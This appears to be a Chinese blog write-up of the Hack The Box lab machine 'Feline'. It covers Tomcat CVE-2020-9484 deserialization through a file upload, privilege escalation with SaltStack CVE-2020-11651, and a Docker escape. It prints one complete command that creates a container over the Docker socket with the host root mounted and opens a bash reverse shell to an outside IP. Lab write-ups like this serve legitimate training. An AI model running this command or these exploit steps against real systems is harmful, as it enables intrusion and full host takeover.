Hack The Box——Feline

目录

简介

信息收集

CVE-2020-9484

漏洞发现

任意文件上传

漏洞利用

权限提升

CVE-2020-11651

Docker逃逸

总结

参考文章


简介

该靶机比较难,卡在文件上传无法获得立足点。通过FUZZ获取服务器绝对路径,结合CVE-2020-9484获得WebShell,进而利用Saltstack服务的CVE-2020-11651提升权限为root,然而还在容器里边,最后通过文件映射获取root.txt文件内容,也可通过写入/root/.ssh/authorized_keys文件逃出Docker容器,获取宿主机root权限。

信息收集

快速扫描目标主机端口及服务信息,使用nmap --min-rate 10000 -A -sC -p- -T4 10.10.10.205,发现目标主机开启22,8080,14507端口,分别运行OpenSSH 8.2p1、Apache Tomcat 9.0.27和Nagios NSCA服务,操作系统为Ubuntu,如图:

访问8080端口Web服务,发现这是一个病毒检测网站,如图:

在Service功能存在文件上传点,如图:

扫描网站目录,如图:

页面报错显示Web中间件版本信息,如图:

在Exploit-DB搜索发现CVE-2020-1938等漏洞,如图:

在CVE官方网站搜索tomcat最新CVE编号,如图:

CVE-2020-9484

搜索相关CVE利用方法,发现https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/,但利用该漏洞需要满足三个条件:

  1. 服务器必须配置为使用PersistenceManager

  2. 必须具有上传功能,攻击者可以控制上载的文件名。
  3. 必须知道上传存储位置的路径。

漏洞发现

任意文件上传

尝试上传文件,发现未对文件后缀做限制,如图:

但是未显示上传的文件路径。尝试上传恶意脚本,但未执行,如图:

尝试将文件名置空发现暴露了文件上传路径,如图:

现在需要知道服务器是否使用PersistenceManager。使用ysoserial生成session文件,如图:

上传该文件之后,修改JSESSIONID测试,如图:

服务器使用了PersistenceManager,但本地监听的8888端口没有请求数据。替换Payload,重新上传,然后再次发起请求,如图:

本地监听的8888端口成功获得目标主机发起的HTTP请求,如图:

漏洞利用

将执行的命令替换为反弹Shell的命令,但未成功获得Shell,如图:

尝试先使用curl上传shell脚本到目标主机,然后再执行shell脚本获得目标主机控制权。

构造执行下载命令的cmd.session文件,将该文件上传后发送请求触发反序列化代码,如图:

目标主机成功下载shell脚本,如图:

构造执行shell脚本的session文件,上传后再次发送触发请求,如图:

本地监听的端口成功获得Shell,如图:

权限提升

直接使用提权辅助脚本linpeas.sh,如图:

尝试CVE-2019-13272未成功。查看开放的端口,如图:

查看有终端的用户,如图:

CVE-2020-11651

搜索4505端口发现该端口通常运行Saltstack服务,搜索4506端口发现Saltstack服务CVE-2020-11651漏洞利用相关博客,在GitHub发现POC:https://github.com/jasperla/CVE-2020-11651-poc。使用chisel将目标主机4506端口转发到本地14506端口,如图:

利用CVE-2020-11651漏洞读取文件,如图:

执行反弹Shell的命令,如图:

成功获得root权限,如图:

但未发现root.txt文件。

Docker逃逸

在.bash_history文件发现root用户执行的历史命令,如图:

执行该命令发现返回的Json数据为Docker容器和镜像信息,如图:

本地开启8124端口监听,执行:

curl -s -X POST --unix-socket /var/run/docker.sock -d "{ \"Image\": \"sandbox\", \"cmd\": [\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i >& /dev/tcp/10.10.14.25/8124 0>&1'\\\"\"], \"Binds\": [\"/:/tmp:rw\"] }" -H 'Content-Type: application/json' http://localhost/containers/create?name=nhpt

该命令将基于sandbox镜像创建新的容器nhpt,并将宿主机的目录及文件映射到该容器,如图:

启动该容器,如图:

本地8124端口成功获得root权限的Shell,此时可读写宿主机文件,如图:

总结

 卡在了文件上传那里久久不能解决,论坛的提示也没想明白,只好等机器退役后跟着大佬的博客学习一下。

参考文章

  • https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

  • https://idiothacker.com/hackthebox-walkthrough-feline/
  • https://0xdf.gitlab.io/2021/02/20/htb-feline.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值